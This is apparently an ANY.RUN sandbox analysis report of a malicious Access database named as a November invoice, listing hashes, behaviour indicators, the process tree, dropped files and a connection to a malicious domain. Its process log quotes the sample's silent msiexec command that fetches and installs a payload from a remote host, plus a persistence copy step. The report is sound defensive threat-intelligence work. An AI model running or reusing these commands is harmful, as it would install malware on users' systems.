analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

November_Invoiceb91a6edbc0ialmb3ce5ebc15abba7fe01fda93.accde

Full analysis: https://app.any.run/tasks/02d908db-9992-495a-beb3-4473113dd009
Verdict: Malicious activity
Analysis date: December 18, 2018, 14:45:17
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MIME: application/x-msaccess
File info: Microsoft Access Database
MD5:

2601895CFE5909F5F66E98524BCD2AAF

SHA1:

C81A4306207D6AEDD9D4EC5B6E4B828BCA8E20AB

SHA256:

18F0B09725C3F4CEA286AAE7FCEAEC0CD6E49F90C9AA72DCC9C6D748BFE716CD

SSDEEP:

768:JlRTCFe+9BdQBrZ4oq03yfXwfksidQpcjEAZrsbVzoFrROlK0GLxt7kzRM/dw/d8:Jl5CArZ4vI0dN+z0lI6L34uSy

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Unusual execution from Microsoft Office

      • MSACCESS.EXE (PID: 2864)

    • Uses Microsoft Installer as loader

      • MSACCESS.EXE (PID: 2864)

    • Application was dropped or rewritten from another process

      • 016ventdat.exe (PID: 3728)
      • igfxCUIService.exe (PID: 3068)
      • igfxCUIService.exe (PID: 2924)

  • SUSPICIOUS

    • Creates files in the user directory

      • MSACCESS.EXE (PID: 2864)
      • cmd.exe (PID: 3580)

    • Executable content was dropped or overwritten

      • msiexec.exe (PID: 3164)
      • expand.exe (PID: 2444)
      • 016ventdat.exe (PID: 3728)
      • cmd.exe (PID: 3580)

    • Starts CMD.EXE for commands execution

      • 016ventdat.exe (PID: 3728)
      • igfxCUIService.exe (PID: 3068)

  • INFO

    • Reads Microsoft Office registry keys

      • MSACCESS.EXE (PID: 2864)

    • Dropped object may contain Bitcoin addresses

      • msiexec.exe (PID: 3164)
      • expand.exe (PID: 2444)
      • 016ventdat.exe (PID: 3728)
      • cmd.exe (PID: 3580)

    • Application launched itself

      • msiexec.exe (PID: 3164)

    • Writes to a desktop.ini file (may be used to cloak folders)

      • msiexec.exe (PID: 3164)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.accdb | Microsoft Access 2007 Database (90.4)
.pi2 | DEGAS med-res bitmap (9.5)
No data.
screenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
44
Monitored processes
11
Malicious processes
1
Suspicious processes
2

Behavior graph

Click at the process to see the details
start msaccess.exe msiexec.exe no specs msiexec.exe msiexec.exe no specs expand.exe 016ventdat.exe cmd.exe no specs igfxcuiservice.exe no specs cmd.exe cmd.exe no specs igfxcuiservice.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2864"C:\Program Files\Microsoft Office\Office14\MSACCESS.EXE" /NOSTARTUP "C:\Users\admin\AppData\Local\Temp\November_Invoiceb91a6edbc0ialmb3ce5ebc15abba7fe01fda93.accde" %2 %3 %4 %5 %6 %7 %8 %9C:\Program Files\Microsoft Office\Office14\MSACCESS.EXE
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Access
Exit code:
0
Version:
14.0.6024.1000
4092"C:\Windows\System32\msiexec.exe" /q /i https://jplymell.com/dmc/ImgFilePDF876356653680900897fXmfwICxiOWbsPLJpy.pngC:\Windows\System32\msiexec.exe—MSACCESS.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Exit code:
1603
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
3164C:\Windows\system32\msiexec.exe /VC:\Windows\system32\msiexec.exe
services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows® installer
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
3384C:\Windows\system32\MsiExec.exe -Embedding D9DC2E03A557C75124DE54B2479FD4A8C:\Windows\system32\MsiExec.exe—msiexec.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Exit code:
0
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
2444"C:\Windows\System32\expand.exe" -R files.cab -F:* filesC:\Windows\System32\expand.exe
MsiExec.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
LZ Expansion Utility
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3728"C:\Users\admin\AppData\Local\Temp\MW-4fdf10e9-c43d-4760-a7cb-715ebc7cc196\files\016ventdat.exe" C:\Users\admin\AppData\Local\Temp\MW-4fdf10e9-c43d-4760-a7cb-715ebc7cc196\files\016ventdat.exe
MsiExec.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Xde.exe
Exit code:
0
Version:
10.0.14393.0
2196"C:\Windows\System32\cmd.exe" /c, "C:\Users\admin\AppData\Local\Temp\igfxCUIService.exe"C:\Windows\System32\cmd.exe—016ventdat.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3068"C:\Users\admin\AppData\Local\Temp\igfxCUIService.exe"C:\Users\admin\AppData\Local\Temp\igfxCUIService.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Xde.exe
Exit code:
0
Version:
10.0.14393.0
3580"C:\Windows\System32\cmd.exe" /c copy "C:\Users\admin\AppData\Local\Temp\igfxCUIService.exe" "C:\Users\admin\AppData\Roaming\Microsoft\Windows\Templates\igfxCUIService.exe"C:\Windows\System32\cmd.exe
igfxCUIService.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
4080"C:\Windows\System32\cmd.exe" /c, "C:\Users\admin\AppData\Roaming\Microsoft\Windows\Templates\igfxCUIService.exe"C:\Windows\System32\cmd.exe—igfxCUIService.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Total events
1 361
Read events
1 269
Write events
0
Delete events
0

Modification events

No data
Executable files
5
Suspicious files
2
Text files
19
Unknown types
5

Dropped files

PID
Process
Filename
Type
2864MSACCESS.EXEC:\Users\admin\AppData\Local\Temp\CVR894A.tmp.cvr —
MD5:—
SHA256:—
3164msiexec.exeC:\Users\admin\AppData\Local\Temp\~DFD4FF1D9DD86F84CB.TMP —
MD5:—
SHA256:—
2444expand.exeC:\Users\admin\AppData\Local\Temp\MW-4fdf10e9-c43d-4760-a7cb-715ebc7cc196\files\$dpx$.tmp\8aa314bd6e02a9478eaba537e98fb24d.tmp —
MD5:—
SHA256:—
3164msiexec.exeC:\Windows\Installer\MSIB2AE.tmp —
MD5:—
SHA256:—
3164msiexec.exeC:\Config.Msi\1996f8.rbs —
MD5:—
SHA256:—
3164msiexec.exeC:\Users\admin\AppData\Local\Temp\~DF8F6960F4198BA784.TMP —
MD5:—
SHA256:—
2864MSACCESS.EXEC:\Users\admin\AppData\Local\Temp\November_Invoiceb91a6edbc0ialmb3ce5ebc15abba7fe01fda93.laccdb —
MD5:—
SHA256:—
2864MSACCESS.EXEC:\Users\admin\AppData\Roaming\Microsoft\Access\System.ldb —
MD5:—
SHA256:—
3164msiexec.exeC:\Windows\Installer\MSI910B.tmpexecutable
MD5:E810DEF83A40EB9FFA90A399E67C11C8
SHA256:FEB29AD8CC8AF2A4E289C85529193EEEFF55E9E012B6451C96062501341BE604
2864MSACCESS.EXEC:\Users\admin\AppData\Roaming\Microsoft\Access\System.mdwmdw
MD5:D06EE5C8B2C8456CF48CFD7D52E212CC
SHA256:A4ADDD275DC4686352C5BB8EF70D5E31C88DD3B9591D9BE2EAC868928F4FFB0A
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
1
DNS requests
1
Threats
0

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3164
msiexec.exe
94.138.205.138:443
jplymell.com
IHS Telekomunikasyon Ltd
TR
unknown

DNS requests

Domain
IP
Reputation
jplymell.com
  • 94.138.205.138
malicious

Threats

No threats detected
Process
Message
MSACCESS.EXE
C:\Users\admin\AppData\Roaming\Microsoft\Access\System.mdw
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
November_Invoiceb91a6edbc0ialmb3ce5ebc15abba7fe01fda93.accde